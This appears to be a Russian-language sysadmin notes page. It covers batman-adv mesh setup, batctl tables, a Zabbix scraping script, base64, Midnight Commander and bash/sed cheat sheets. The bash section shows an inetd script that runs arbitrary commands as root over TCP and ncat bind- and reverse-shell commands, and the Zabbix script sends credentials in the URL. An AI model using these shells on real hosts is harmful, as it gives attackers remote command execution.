https://www.open-mesh.org/projects/batman-adv/wiki/Debian_batman-adv_AutoStartup


https://www.open-mesh.org/projects/batmand/wiki/RoutingVodoo




https://www.open-mesh.org/projects/batman-adv/wiki/Understand-your-batman-adv-network

https://gist.github.com/IgorKha/78c95c35347ad7e7ff9d36b23a045490

Что?

B.A.T.M.A.N. — протокол маршрутизации, разрабатываемый в настоящее время сообществом Freifunk как замена OLSR.
Основной особенностью B.A.T.M.A.N. является децентрализация сведений о лучшем маршруте в сети — ни один узел не владеет всеми данными. 
С использованием этой техники отпадает необходимость в распространении информации об изменениях в сети на все узлы. 
Каждый узел хранит информацию только о «направлении», из которого поступают данные, и так же их отправляет. 
Таким образом, узлы передают друг другу пакеты по динамически создаваемым маршрутам.

Описание протокола
У B.A.T.M.A.N. имеются элементы классических протоколов маршрутизации: он находит другие узлы B.A.T.M.A.N. и определяет наилучший путь до них. 
Он также информирует соседей о появлении в сети новых узлов.

Каждый узел регулярно отправляет широковещательное сообщение, информируя таким образом соседей о своём существовании. 
Соседи передают это сообщение своим соседям и так далее. 
Таким образом, каждый узел в сети получает эту информацию.

B.A.T.M.A.N. не пытается определить весь маршрут, а только первый шаг пакета в нужном направлении. 
Данные пересылаются соседу в этом направлении, который использует тот же механизм. 
Процесс повторяется, пока данные не достигнут цели.

B.A.T.M.A.N. может использоваться не только в беспроводных, но и в кабельных сетях, таких как Ethernet.


Для работы B.A.T.M.A.N. :
0. Загружаем модуль ядра batman-adv
1. Настраиваем сетевой порт bat0
2. рабочий порт UDP 4305 (batmand)

0. Включаем модуль ядра:

0. Показать модули ядра
lsmod - для просмотра загруженных модулей на вашей системе
lsmod | grep batman

1. Для загрузки модуля при следующей загрузки системы
vim /etc/modules
----------------
batman-adv
----------------

2.  Для загрузки модуля "batman-adv" сейчас
modprobe batman-adv

Опция в ядре linux:

CONFIG_BATMAN_ADV=m

1. Установка «batmand,batctl» на debian 11:

apt install batmand batctl

2. Настроим интерфейс bat0:

vim /etc/network/interfaces
---------------------------
auto lo
iface lo inet loopback

auto  enp1s0
iface enp1s0 inet dhcp
      post-up batctl if add enp1s0 
      
auto enp7s0 
iface enp7s0 inet static 
      address 10.0.1.25/24
      post-up batctl if add enp7s0 

auto bat0
iface bat0 inet static
      address 192.168.100.3/24
---------------------------

3. Настройка batmand:

vim  /etc/default/batmand
-------------------------
DAEMON_OPTS="-d 0 eth1 eth2"
-------------------------

systemctl enable batmand
systemctl start batmand

Routing — магия batman

Команда «route» обеспечивает доступ к таблице маршрутизации 254. 
Чтобы просмотреть или изменить записи маршрутизации в других таблицах, вам нужна команда «ip». 

Чтобы увидеть содержимое таблицы hosts, используйте:
ip route ls table 66
ip route ls table 65

ip rule list 
ip rule show
ip rule show table 66  

Troubleshooting

0. Остановка 
killall batmand - убить batmand
pkill batmand - убить batmand 
systemctl stop batmand.service - убить batmand 

1. batmand
batmand -i - показать установленные компоненты
batmand eth1 - пробуем запустить
batmand -b -c -d 1 - проверка что происходит

2. batmand debug
batmand -r -d 1 eth1 

2. batctl
batctl n - показать MAC интерфейса bat0
batctl traceroute MAC_ADDRESS - проверить доступность MAC_ADDRESS
batctl if - показать на каких интерфейсах работает batmand-adv
batctl o - показать всех Originator


3. Интерфейсы 10Gbit
apt search librte-pmd-ixgbe
apt install librte-pmd-ixgbe17.11

batctl подробнее:

batctl gwl (Таблица шлюза - Gateway table)
В таблице шлюзов перечислены все доступные шлюзы batman-adv в этой сети.
<символ выбора>
  <шлюз>
     <значение TQ (качество передачи) в сторону шлюза>
        <следующий лучший переход>
           <исходящее ифейс>
              <объявленная пропускная способность>

batctl gw 
( шлюз - назначение шлюза - проверка является этот хост шлюзом batman-adv)

batctl n  
(neighbor table - соседний стол - ближайший сосед )
Список всех обнаруженных им соседей с одним переходом.
Решение о том, направляется ли сосед с одним переходом напрямую или через другого соседа с одним переходом, зависит от качества канала.
B.A.T.M.A.N. IV:
  <интерфейс>
   <соседний узел с одним переходом>
    <последнее посещение>
B.A.T.M.A.N. V:
  <сосед>
   <последнее посещение>
    <пропускная способность>
     <интерфейс>

batctl o 
(originator table - таблица авторов - сосед )

Каждый узел бэтмена ведет список всех других узлов в сети и запоминает, 
в каком направлении отправлять пакеты, если данные должны быть переданы. 
Направление проявляется в виде «лучшего следующего соседа», что по сути является следующим шагом к цели. 
Вы можете получить внутреннюю таблицу оригинаторов batman, прочитав файл оригинаторов. 
Печатная таблица начинается со строки заголовка с некоторыми более или менее полезными данными о состоянии, 
за которыми следует исходная таблица. 
Каждая строка содержит информацию о конкретном оригинаторе

B.A.T.M.A.N. IV:
<метка выбора следующего перехода>
  <создатель>
     <последнее посещение>
       <Значение TQ (качество передачи) для отправителя>
         <следующий лучший переход>
          <исходящее ифейс>

B.A.T.M.A.N. V:
<метка выбора следующего перехода>
  <создатель>
   <последнее посещение>
    <пропускная способность к отправителю>
     <следующий лучший переход>
       <исходящее ифейс>

В Batman 2014.1.0+ была введена концепция таблицы маршрутизации для каждого интерфейса.
В результате каждый интерфейс будет предоставлять свою таблицу маршрутизации:

batctl meshif ${meshif} o -i ${интерфейс}


batctl tl 
(translation tables - таблицы перевода -  таблица перехода - локальная таблицы трансляции)

  <тег VLAN>
     <флаги>
        <последнее посещение>
           
RPNXW — это флаги, которые имеют следующие значения:
R/Roaming: этот клиент переместился на другой узел, но по соображениям согласованности он по-прежнему сохраняется до отправки следующего OGM.
P/noPurge: этот клиент представляет собой локальный программный интерфейс и никогда не будет удален.
N/New: этот клиент недавно был добавлен, но не объявляется в ячеистой сети до тех пор, пока не будет отправлено следующее OGM (по соображениям согласованности).
X/delete: этот клиент должен быть удален по какой-то причине, но он по-прежнему сохраняется из соображений согласованности до тех пор, пока не будет отправлено следующее OGM.
W/Wireless: этот клиент подключен к узлу через беспроводное устройство.


batctl tg 
(translation tables  global - глобальная  таблица трансляции)

R/Roaming: этот клиент переместился на другой узел, но по соображениям согласованности он по-прежнему сохраняется до отправки следующего OGM.
X/delete: этот клиент должен быть удален по какой-то причине, но он по-прежнему сохраняется из соображений согласованности до тех пор, пока не будет отправлено следующее OGM.
W/Wireless: этот клиент подключен к узлу через беспроводное устройство.


batctl cl 
(Bridge loop avoidance claim table - Таблица претензий по предотвращению образования петель)

   <идентификатор виртуальной локальной сети>
      <оригинатор, претендующий на этого клиента>
         <клиент заявлен мной>
            <контрольная сумма CRC всей таблицы заявок>
Клиенты, заявленные самим узлом, отмечены знаком «[x]».
Если VLAN не найдено, печатается VID '-1'.


batctl bbt 
(Bridge loop avoidance backbone table - Магистральная таблица предотвращения образования петель моста )
Эта таблица является частью кода предотвращения петель моста и содержит все магистральные шлюзы
В нашей схеме у нас нет шлюзов внутри сети batman-adv, поэтому таблица будет пуста.


batctl  dc 
(Distributed ARP Table - local cache table  - Распределенная таблица ARP — таблица локального кэша)
Эта таблица является частью кода распределенной таблицы ARP и содержит все локально кэшированные записи ARP (IPv4+MAC-адрес).
Если данный IP-адрес появляется в этой таблице, это означает, что batman-adv предотвратит любой запрос ARP, 
запрашивающий отправку такого адреса через сетку, и немедленно предоставит ответ в локальную сеть самостоятельно.
Подмножество записей, принадлежащих этому кешу, также являются записями, которые узел отвечает за обработку в DHT .

  <мак адрес хоста>
     <идентификатор виртуальной локальной сети>
        <последняя активность ARP>

batman-adv + batctl 2023.3 debian x86_64

cat > install_batman.sh << "EOF"
#!/bin/bash
cd /opt/
# Install dependencies needed for src compile
apt install -y  git libnl-3-dev libnl-genl-3-dev libnl-genl-3-dev make  pkg-config gcc #linux-headers-amd64-???
# batman-adv
git clone https://github.com/open-mesh-mirror/batman-adv.git
cd batman-adv
git checkout v2023.3
# Enabled debugging/network coding/tracing support
sed -i '/export/s/=n/=y/' Makefile
make -j4
# Remove old batman-adv module
rmmod batman_adv
# Install new batman-adv module
make install
# Add in autoload batman-adv module
echo "batman-adv" | tee -a /etc/modules
cd /opt/
# batctl
git clone https://github.com/open-mesh-mirror/batctl.git && cd batctl/
git checkout v2023.3
make -j`nproc`
# Install new batctl
make install
echo "================================"
echo "ATTENTION! reboot needed!"
echo "================================"
EOF

chmod +x install_batman.sh

batman-adv + batctl 2022.1 rpi arm

#!/bin/bash
cd /opt/
# Install dependencies needed for src compile
apt install -y raspberrypi-kernel-headers git libnl-3-dev libnl-genl-3-dev make 
# batman-adv
git clone https://github.com/open-mesh-mirror/batman-adv.git
cd batman-adv
git checkout v2022.1
# Enabled debugging/network coding/tracing support
sed -i '/export/s/=n/=y/' Makefile
make -j4
# Remove old batman-adv module
rmmod batman_adv
# Install new batman-adv module
make install
# Add in autoload batman-adv module
echo "batman-adv" | tee -a /etc/modules
cd /opt/
# batctl
git clone https://github.com/open-mesh-mirror/batctl.git && cd batctl/
git checkout v2022.1
make -j4
# Install new batctl
make install
echo "================================"
echo "ATTENTION! reboot needed!"
echo "================================"

interfaces

### apt install tcpdump tmux iperf3 htop bridge-utils openvswitch-switch vim

auto lo
iface lo inet loopback

# The primary network interface
auto enp2s0
iface enp2s0 inet dhcp

auto eno1
iface eno1 inet manual
   pre-up  batctl ra BATMAN_V
   post-up batctl if add eno1

auto eno2
iface eno2 inet manual
   post-up batctl if add eno2

auto br0
iface br0 inet static
        address 10.0.0.2/24
        bridge_ports bat0
        bridge_stp off
        bridge_fd 0
        bridge_maxwait 0


Конфиг /etc/bat-hosts


При создании файла /etc/bat-hosts в выводе многих команд batctl MAC-адреса будут заменены символическими именами. 
Эти имена не обязательно должны совпадать с именем хоста или соответствовать DNS.
Используемый MAC-адрес — это адрес «необработанных» интерфейсов, 
используемых bat0 — в этом примере конфигурации это адреса mesh0 на каждом из узлов. 
(Ну то есть MAC интерфейса который добавили командой "batctl if add name_interface" )


cat > /etc/bat-hosts << "EOF"
32:b5:c2:aa:aa:aa	office.5g
c6:6e:1f:bb:bb:bb	garage.5g
32:b5:c2:cc:cc:cc	front.5g
1a:d6:c7:dd:dd:dd	back.5g
c6:e9:84:ee:ee:ee 	devel.5g


0c:d0:51:0e:00:01 n1-e1
0c:d0:51:0e:00:02 n1-e2


0c:a4:32:06:00:01 n2-e1
0c:a4:32:06:00:02 n2-e2

0c:44:b9:13:00:01 n3-e1
0c:44:b9:13:00:02 n3-e2

0c:e2:fb:ea:00:02 n4-e1
0c:e2:fb:ea:00:01 n4-e2

EOF
Рубрики
разное

lynx \ скачиваем страницу \ парсим \ авторизация \ bash \ zabbix

#!/bin/bash
# переменные
USERNAME="ВАШ-ЛОГИН"
PASSWORD="ВАШ-ПАРОЛЬ"
URL="https://ВАША-СТРАНИЦА-ZABBIX/zabbix"
URLSTRING="${URL}index.php?name=${USERNAME}&password=${PASSWORD}&enter=Sign%20in"

#Пример без переменных
#У пользователя добавлена нужная страница при логине
#lynx -accept_all_cookies --dump "https://ВАША-СТРАНИЦА-ZABBIX/zabbix/index.php?name=ВАШ-ЛОГИН&password=ВАШ-ПАРОЛЬ&enter=Sign%20in" > file.txt

# скрипт
lynx -accept_all_cookies --dump ${URLSTRING} > file.txt
cat file.txt | grep -E 'элемент|[ 01][0-9]\.[0-9][0-9]\ %' | grep -B1 "Free disk space on"
Рубрики
разное

base64

Пример первый:

test="$(cat NAME_FILE.JPG | base64)"

echo $test

Второй пример:

test=$( base64  NAME_FILE.JPG )

echo $test

Третий пример:

base64 -w 0 NAME_FILE.JPG > NAME_FILE.JPG.base64

base64 -d NAME_FILE.base64 > NAME_FILE.JPG 

Четвертый пример вставка в HTML \ CSS \ XML \ XHTML:


(X)HTML Image Embedding Example
Embedded Image

CSS Image Embedding Example
div.image {
  width:100px;
  height:100px;
  background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADIA...);
}

XML Image Embedding Example

  An Image
  http://www.your.domain
  data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADIA...

Embed other stuff!
Data URIs can potentially store any type of data, not just images! Try these examples on for size:

(X)HTML CSS Embedding Example

(X)HTML Javascript Embedding Example

Ссылки:

https://greywyvern.com/code/php/binary2base64
https://base64.guru/converter/decode/image
https://ru.wikipedia.org/wiki/Base64
Рубрики
разное

Midnight Commander / mc / файловый менеджер / color

Самое полезное:

CTRL + SPACE     - подсчитать размер папки
CTRL + o         - свернуть mc и показать командную строку

ALT + .          - показывать/скрыть скрытые файлы и каталоги

ALT + T          - cменить вид панели (стандартный, укороченный, расширенный)

CTRL + x + c     - запускает команду Chmod к файлу или помеченным файлам
CTRL + x + o     - запускает команду Chown к текущему файлу или к помеченным файлам
CTRL + x + l     - запускает команду link для создания ссылки.

CTRL + x + t     - вставка всех выделенных объектов в командную строку
ALT  + a         - вставить текущий каталог в командную строку

ESC + C          - быстро сменить каталог
ALT + C          - окно «Быстрая смена каталога»

CTRL + s         - быстрый поиск файла или каталога
ALT + SHIFT-?    - вызывается меню расширенного поиска файлов

ALT + i          - открыть тоже самое (каталог) в неактивной панели

*                - выделить все файлы
+                - (Plus), выделить по маске (также можно ввести * и выделить все)
\                - (Backslash), снять выделение по маске

Shift + F6	 - переименовать файл


TAB - смена панелей
F9 - меню различных действий

ссылки

http://mydebianblog.blogspot.com/2011/01/midnight-commander.html
https://www.opennet.ru/docs/RUS/mc/mc-3.html
http://wiki.opennet.ru/MidnightCommander
http://paratapok.ru/developer-tools/3285_kak-v-mc-vydelit-vse-fajly-ili-neskolko-fajlov/

color

Edit mc’s ini file (either ~/.mc/ini or ~/.config/mc/ini) and look for the line [Colors]. Then, change the line base_color to this:

[Colors]
base_color=linux:normal=white,black:marked=yellow,black:input=,green:menu=black:menusel=white:menuhot=red,:menuhotsel=black,red:dfocus=white,black:dhotnormal=white,black:dhotfocus=white,black:executable=,black:directory=white,black:link=white,black:device=white,black:special=white,black:core=,black:stalelink=red,black:editnormal=white,black 



skin

vim  ~/.config/mc/ini
---------------------
skin=modarin256   
---------------------

Или: 
F9 > Options > Appearance и в открывшемся окошке выбирайте внешний вид

Рубрики
bash Конспект разное

Конспект: sh / bash

Переменные:

Принципы:

EDITOR=nano crontab -e

export http_proxy=http://ya.ru:3128 - объявляем глобальную переменную
wget http://что_то_скачать - пытаемся воспользоваться wget


Показать переменные:
set - показывает все переменные окружения
env - показывает переменные помеченные как экспортируемые

Можно увидеть в настройках:
login, sshd, telnetd,  ~/.profile,  ~/.cshrc и в других файлах.
Переменные: HOME, SHELL, PATH, TERM. LOGNAME, USER, EDITOR, ENV и т.д.


Примеры \ присвоения переменной:

0. Переменную распознает программа  
1. Переменную распознает шелл

Пример как присваивается переменная:
a=HEllo
set | grep '^a'

export a
env | grep '^a'

dir=/bin
ls -l $dir

echo $a

a=pwd
$a

Примеры с кавычками:
Различие между кавычками
В одинарных кавычках содержимое выводится как есть.
В двойных кавычках переменные исполняются.

a='Hello World'
echo $a

a="Hello World"
echo $a

Обходимся без кавычек, экранирование пробела с помощь слеша:
a=Hello\ World
echo $a

Примеры подстановки переменной:
a="Hello"
b=$a
echo $b

Пример с подстановкой переменно и работы одинарной кавычки
Одинарные кавычки всегда передают значение как есть, то есть шелл проигнорирует переменную.
b='$a World'
echo $b

Пример а если мы всё-таки хотим передать переменную:
На помощь приходят двойные кавычки:
b="$a World"
echo $b

Экранирование(слеш):
Слеш отменяет действие многих спец символов.
b=$a\ world
echo $b

b=\$a\ World
echo $b

b=$aWorld
echo $b

b=${a}World
echo $a
echo $b

Значения переменных рекомендуется брать в фигурные скобки.
b=${a}World
echo $a
echo $b

Арифметика

!!! шелл оперирует переменными окружениями
!!! Арифметики не будет при таких записях:
a=3+6
echo $a

a=222
b=333

c=${a}${b}
echo $c

c=${a}+${b}
echo $c

!!! Арифметике быть!
Для арифметических действий используется конструкция из скобок $(( выражение ))
a=$((3+6))
a=$(($a*6))

А если сделать вот так:
c=((${a}+${b}))
c=$((${a}+${b}))
echo $c

Программа для арифметики expr:
a=1
a=$(expr $a + 1)
echo $a

Применение переменных с программами:

` - обратный апостроф ( не путать с одинарной кавычкой)
` - служит для выполнения команды

`команда` - выполнится команда внутри апострофов
$(команда) - ведет себя аналогично при использовании обратного апострофа (`)

dir='pwd'
echo $dir

d=$(date)
echo $d

x=`date '+%Y.%m.%d'`
echo $x

z=$(date '+%Y.%m.%d')
echo $z

c=`ps -uaxf | grep sshd |grep -v grep`
echo $c


сгенерировать случайное число
rnd=`jot -r 1 1 10`

Сгенерировать число от 1 до 10 
gen10=`seq 10`
echo $gen10

filecount=`ls/bin | wc -l`
echo $filecount


Ввод пользователя

Программа read, ожидает ввода пользователя и сохраняет в переменную
read a
echo $a

Пример использования:
echo -n "Enter Name: "; read a; echo Hello "$a"


Подстановки в файл:

Речь идет о спец символах * ? и т.д.

echo /bin/c* - покажет все файлы начинающиеся на c

cat - можно редактировать и смотреть файлы (при использовании <>)

file - команда позволяет определить тип файла, что бы случайно не открыть бинарный файл

Чтение переменных с исключением

0. Пример исключаем суффикс sample при выводе переменной i
i=sip.conf.sample

echo $i
echo ${i}
echo ${i%.sample}

1. Пример исключить (GET /) при выводе переменной i
i='GET /index.html'
echo ${i#GET /}

Удаление переменной

unset CLICOLOR
unset EDITOR
unset http_proxy

Объединение команд (;)

echo -n "Enter Name: "; read a; echo Hello "$a"
sleep 3; echo -e "\007"

Последовательные команды в текстовом файле


Пример файла:
vim 1.txt
---------
echo -n "Enter Name: "
read p
echo Hello "$p"
---------

Пример выполнения 1:
sh 1.txt - запасаем новый шелл и выполняем файл 1.txt

Пример выполнения 2:
. 1.txt - точка говорит выполнить в текущем контексте шелла файл 1.txt


Последовательные команды в выполняемом файле


Пример файла f2.sh:
-------------
#!/bin/sh
echo -n "Enter Name: "
read p
echo Hello "$p !!!"
-------------

Выполнение:
chmod u+x f2.sh - даем права на выполнения файла

f2.sh - выполняем файл при условии если он расположен в PATH

/home/user/f2.sh
./f2.sh


sh f2.sh
. f2.sh

Функции:

function ()

Специальные символы

$? - коды возврата

[ - это программа сравнения, и если выполнить (which [) мы увидим что программа называется test и она возвращает 1 или 0, код возврата можно увидеть по echo $?
man [
test 6 -lt 3
echo $?


$1 - аргумент запуска программы 
$2 - аргумент запуска программы
$3  - аргумент запуска программы

Пример работы:
agr.sh - создаем скрипт
--------------
echo $2 $3 $1
--------------

Ну и проверяем: 
. agr.sh aaa bbb ccc

&& - если программа этого символом && выполнилась успешно выполняй следующую после этого символа &&


#  - комментарий


Операторы равенства:
eq  равно (=) (Equals)
ne  не равно (!=) (Not equal)

Операторы диапазона:
gt больше (>) (Greater than)
lt меньше (<) (Less than)
ge больше или равно (=>) (Equal or greater than)
le меньше или равно (=<) (Equal or less than)


Во многих языках программирования двоеточие (:) означает истина (True) и возвращает 0

Задать символ разделитель с помощью IFS
IFS=:

Целочисленный цикл while пример на ping


0. Пример в файле ex2.sh:
---------------
# Пример цикла выполнять до
i=1
while [ $i -lt 254 ]
do
  #test $i = 50 && continue 
  ping -c 1 -W 1 $1.$i > /dev/null 2>&1 && echo $1.$i
  i=$(($i + 1))
done

---------------
Запуск:
ex2.sh 192.168.1



1. Пример в файле ex3.sh:
---------------
# Пример цикла выполнять до
i=1
while :
do
  ping -c 1 -W 1 $1.$i > /dev/null 2>&1 && echo $1.$i
  i=$(($i + 1))
  test $i -eq 254 && break # прервет цикл
done
---------------

Примеры цикла for:

Пример показать все файлы заканчивающийся на (*.txt) :
for i in *.txt; do echo $i; done

Пример массового переименования:
for in in *sample; do cp $i ${i%.sample}; done

Пример что бы показать что списком может быть что угодно: 
for i in `ps -aux | awk '{print $1,$11}'`; do echo $i; done

Пример создаем пустые файлы *.txt:
for i in 1 2 3 4 5 6 7 8 9 10; do touch $i.txt; done

Пример создаем пустые файлы *.txt:
for i in 1 2 3 4 5 6 7 8 9 10; do touch $i.txt; done

Пример создаем пустые файлы *.txt:
for i in $(for((i=1; i<11; i++)) do echo $i; done); do echo > $i.txt; done

Пример создания списка ip:
for ipz in $(for((i=1; i< 255; i++));do echo $i; done) ; do echo 192.168.15.$ipz >> ip_files.txt ; done

Пример использования списка ip и применения команды ping:
for pingz in $(cut ip_files.txt); do ping -c1  $pingz ; done

Пример как показать все crontab всех пользователей: 
for user in $(cut -d':' -f1 /etc/passwd); do crontab -u $user -l; done

Пример вытаскиваем первое поле из файла и подставляем перед ним user:
for i in `cut -d: -f1 /etc/passwd`; do echo user $i; done

Пример перемещения файлов используя список:
for x in catalog director messages user fileset client job jobdefs pool schedule storage use; do  mv /etc/bareos/bareos-dir.d/${x} tmp/bareos-dir.d/; done

Чтение из файлов, парсинг файлов, while, for:

Пример использования IFS, перенаправления в read
------------------------
#!/bin/sh
IFS=:
while read a b c d e f g
do 
   echo "$a $g"
done < /etc/passwd
------------------------



Пример с использованием for
------------------------
#!/bin/sh
for i in `cut -d: -f1 /etc/passwd`
do
  echo user $i
done
------------------------

Пример for, while

!!! ls создается список файлов
!!! echo и cat, на stdout выводится список файлов и показывается содержимое файла 
Пример 1:
for i in `ls` ; do echo -e "\\n#### $i \\n" && cat $i ; done 
Пример 2:
ls * | while read file ; do echo "$file" && cat "$file" ; done

Пример (while read LINE), удаление файлов:

!!!find /dir/dir2/dir3 -type f -mtime +1 -name "*.broken" -delete >/dev/null 2>/dev/null - ищем файлы в каталоге (/dir/dir2/dir3) в имени которых встречается "*.broken" и молча их удаляем (>/dev/null 2>/dev/null) 
!!!find /dir/dir2/ -mindepth 1 -maxdepth 1 -ctime +5 -type d -delete - ищем каталоги в  каталоге (/dir/dir2/) старше 5 дней и удаляем их


Пример скрипта:
/usr/bin/find /dir/dir2/dir3 -mindepth 1 -maxdepth 1 -ctime +2 -type d | sort -n | head -n-3 | while read LINE; do
    echo "[/dir1/dir2/dir3] ${LINE}"
    rm -rf "${LINE}"
done

Пример дыры в безопасности:

!!! для работы понадобится openbsd-inetd (суперсервер inetd)
!!! настроить его
!!! номер_порта stream tcp nowait имя_пользователя /путь_скрипта имя_скрипта
!!! 1234 stream tcp nowait root /root/cmd.sh smd.sh 

vim cmd.sh
----------------
#!/bin/sh
while read cmd
do 
$cmd
done
----------------



В Ncat
Для создания шелла на удалённом компьютере:
ncat -l -e "/bin/bash" [ПОРТ]
Для подключения к нему с локального компьютера:
ncat [IP] [ПОРТ]

Перед созданием обратного шелла, предварительно на локальном компьютере нужно выполнить:
ncat -l [ПОРТ]
Затем для создания обратного шелла с удалённого компьютера там нужно выполнить:
ncat -e "/bin/bash" [IP] [ПОРТ]
Рубрики
разное Текст \ Файлы \ Папки

bash / sed / cut / awk / tr / cat / echo / comm / grep / paste / sort / работаем с текстом

Кусок файла примера zxc1.csv:

name;date;ip;allow;blok
printer;15;192.168.0.1;yes;no
printer;15;192.168.0.4;yes;no
printer;15;192.168.0.4;yes;no
printer;15;192.168.0.1;yes;no
printer;15;192.168.0.1;yes;no
printer;15;192.168.0.1;yes;no
printer;15;192.168.0.1;yes;no
printer;15;192.168.0.7;yes;no
printer;15;192.168.0.1;yes;no
printer;15;192.168.0.1;yes;no
printer;15;192.168.0.7;yes;no
printer;15;192.168.0.1;yes;no
printer;15;192.168.0.1;yes;no
printer;15;192.168.0.1;yes;no
printer;15;192.168.0.1;yes;no
printer;15;192.168.0.7;yes;no
printer;15;192.168.0.1;yes;no
printer;15;192.168.0.1;yes;no

Решение:
cat zxc.csv | cut -f 3 -d";" | sort | uniq
awk -F ';' '{ print $1,$3 }' zxc.csv  | sort | uniq 

Кусок файла примера zxc1.csv:

Алексей,+2 (522) 7234-246-57
Александр,+3 (234944) 123-73-33
Ярослав,+4 (455) 62205-111-87
Максим,+5 (315) 51014-656-923
Дмитрий,+6 (2062) 6434-994-2983
Алексей,+7 (927435) 40302-1945-39844

Решение:
cat zxc1.csv  | sed 's/ //g' | sed 's/-//g' | sed 's/(//' | sed 's/)//g' | sed 's/+//g' | sed 's/,/ /g'
cat zxc1.csv  | sed -e '{s/-//g}'  -e '{s/(//g}' -e 's/)//g' -e '{s/+//g}' -e '{s/ //g}' -e '{s/,/ /}'

Примеры sed

sed 's/string1/string2/g' example.txt - заменить string1 на string2 в файле example.txt и вывести содержимое
sed '/ *#/d; /^$/d' example.txt - удалить пустые строки и комментарии из файла example.txt
sed '/^$/d' example.txt - удалить пустые строки и комментарии из файла example.txt
sed '/serv*/a\ \'  - добавить пустую строку после слова serv
sed 's/serv/\nserv/' - добавить строку перед словом serv 

sed -n '/string1/p' - отобразить только строки содержащие string1
sed -n '5p;5q' example.txt - вывести пятую строку
sed -n '2,5p' example.txt - вывести строки со второй по пятую

sed -e '1d' exampe.txt - удалить первую строку из файла example.txt
sed -e 's/string//g' example.txt - удалить строку string1 из текста файла example.txt не изменяя всего остального
sed -e 's/ *$//' example.txt - удалить пустые символы в конце каждой строки файла example.txt
sed -e 's/00*/0/g' example.txt - Заменить последовательность из любого количества нулей одним нулём



Примем убираем пробелы, знаки"()+-", в конце знак "," заменяем на пробел:
cat zxc1.csv  | sed 's/ //g' | sed 's/-//g' | sed 's/(//' | sed 's/)//g' | sed 's/+//g' | sed 's/,/ /g' > rasilka.csv.edit
Используем специальный ключ "-e" убираем пробелы, знаки"()+-", в конце знак "," заменяем на пробел
cat zxc1.csv | sed -e 's/ //g' -e 's/-//g' -e 's/(//g' -e 's/)//g' -e 's/+//g' -e 's/,/ /g'

sed - пример шаблонов
---------------------
8d - удалить 8-ю строку
/^$/d -	удалить все пустые строки
1,/^$/d	- удалить все строки до первой пустой строки, включительно
/Jones/p - вывести строки, содержащие "Jones" (с ключом -n)
s/Windows/Linux/ - в каждой строке, заменить первое встретившееся слово "Windows" на слово "Linux"
s/BSOD/stability/g - в каждой строке, заменить все встретившиеся слова "BSOD" на "stability"
s/ *$//	- удалить все пробелы в конце каждой строки
s/00*/0/g - заменить все последовательности ведущих нулей одним символом "0"
/GUI/d - удалить все строки, содержащие "GUI"
s/GUI//g - удалить все найденные "GUI", оставляя остальную часть строки без изменений
's/:.*//' - удалить от все последующие символы после двоеточия(:)
--------------------

echo

echo a b c | awk '{print $1,$3}' - вывести первую и третью колонки. Разделение, по-умолчанию, по пробельным символам или символу табуляции
echo a b c | awk '{print $1}' - вывести первую колонку содержимого файла. Разделение, по-умолчанию, по пробельным символам или символу табуляции
echo 'word' | tr '[:lower:]' '[:upper:]' - перевести символы нижнего регистра в верхний

comm

comm -3 file1 file2 - сравнить содержимое двух файлов, удаляя строки встречающиеся в обоих файлах
comm -1 file1 file2 - сравнить содержимое двух файлов, не отображая строки принадлежащие файлу file1
comm -2 file1 file2 - сравнить содержимое двух файлов, не отображая строки принадлежащие файлу file2

grep

grep [0-9] /var/log/messages - отобрать и вывести строки содержащие цифровые символы из файла /var/log/messages
grep ^Aug /var/log/messages - отобрать и вывести строки, начинающиеся с сочетания символов "Aug", из файла /var/log/messages
grep Aug /var/log/messages - отобрать и вывести строки, содержащие сочетание символов "Aug" из файла /var/log/messages
grep Aug -R /var/log/* - отобрать и вывести строки, содержащие сочетание символов "Aug", из всех файлов, расположенных в директории /var/log и ниже
grep шаблон путь_к_файлу - поиск в файле по шаблону
grep "что" "Где" - искать в файле 
grep -nri 'foobar' * - найти по папкам данное слово и вывести номер строки и путь до файла
grep -Er "что" *  - искать что во всех файлах и каталогах
grep -Eri "что" "Где" - искать что во всех файла и каталогах игнорируя регистр
grep -ri "что_ищем" * - поиск в файлах "что_ищем" в  текущем каталоге рекурсивно
grep -riv  "что_ищем" * -  показать все файлы кроме "что_ищем"
grep -v '^#' configfile | cat -s > nocomments - прочитать файл удалив строки с комментариями и сохранив в файл  nocomments
grep -irns "что_ищем" - будет искать начиная с текущего каталога, покажет имя файла и строку
grep -vE "Id|^$|---"  - исключит строки Id, пустые строки(^$) и исключить строки (---)
cat filename | grep -vE "^#|^$" - смотрим конфиги без комментариев (^#) и пустых строк (^$)
ls -la | grep -E "file1|file2" - показать file1 и file2 
cat file | grep -iE "(one|two|three)" - отфильтровать строки без учёта регистра, содержащие одно из слов one, two, three

paste

paste -d '+' file1 file2 - объединить содержимое file1 и file2 в виде таблицы с разделителем "+"
paste file1 file2 - объединить содержимое file1 и file2 в виде таблицы: строка 1 из file1 = строка 1 колонка 1-n, строка 1 из file2 = строка 1 колонка n+1-m

sdiff

sdiff file1 file2 - сравнить содержимое двух файлов

sed

sed 's/string1/string2/g' example.txt - заменить string1 на string2 в файле example.txt и вывести содержимое
sed '/ *#/d; /^$/d' example.txt - удалить пустые строки и комментарии из файла example.txt
sed '/^$/d' example.txt - удалить пустые строки и комментарии из файла example.txt
sed -e '1d' exampe.txt - удалить первую строку из файла example.txt
sed -n '/string1/p' - отобразить только строки содержащие string1
sed -e 's/string//g' example.txt - удалить строку string1 из текста файла example.txt не изменяя всего остального
sed -e 's/ *$//' example.txt - удалить пустые символы в конце каждой строки файла example.txt
sed -n '5p;5q' example.txt - вывести пятую строку
sed -n '2,5p' example.txt - вывести строки со второй по пятую
sed -e 's/00*/0/g' example.txt - Заменить последовательность из любого количества нулей одним нулём

Кусок файла примера rasilka.csv для sed:
Алексей,+2 (522) 7234-246-57
Александр,+3 (234944) 123-73-33
Ярослав,+4 (455) 62205-111-87
Максим,+5 (315) 51014-656-923
Дмитрий,+6 (2062) 6434-994-2983
Алексей,+7 (927435) 40302-1945-39844

Примем убираем пробелы, знаки"()+-", в конце знак "," заменяем на пробел:
cat rasilka.csv  | sed 's/ //g' | sed 's/-//g' | sed 's/(//' | sed 's/)//g' | sed 's/+//g' | sed 's/,/ /g' > rasilka.csv.edit
Используем специальный ключ "-e" убираем пробелы, знаки"()+-", в конце знак "," заменяем на пробел
cat rasilka.csv | sed -e 's/ //g' -e 's/-//g' -e 's/(//g' -e 's/)//g' -e 's/+//g' -e 's/,/ /g'

sed - пример шаблонов
---------------------
8d - удалить 8-ю строку
/^$/d -	удалить все пустые строки
1,/^$/d	- удалить все строки до первой пустой строки, включительно
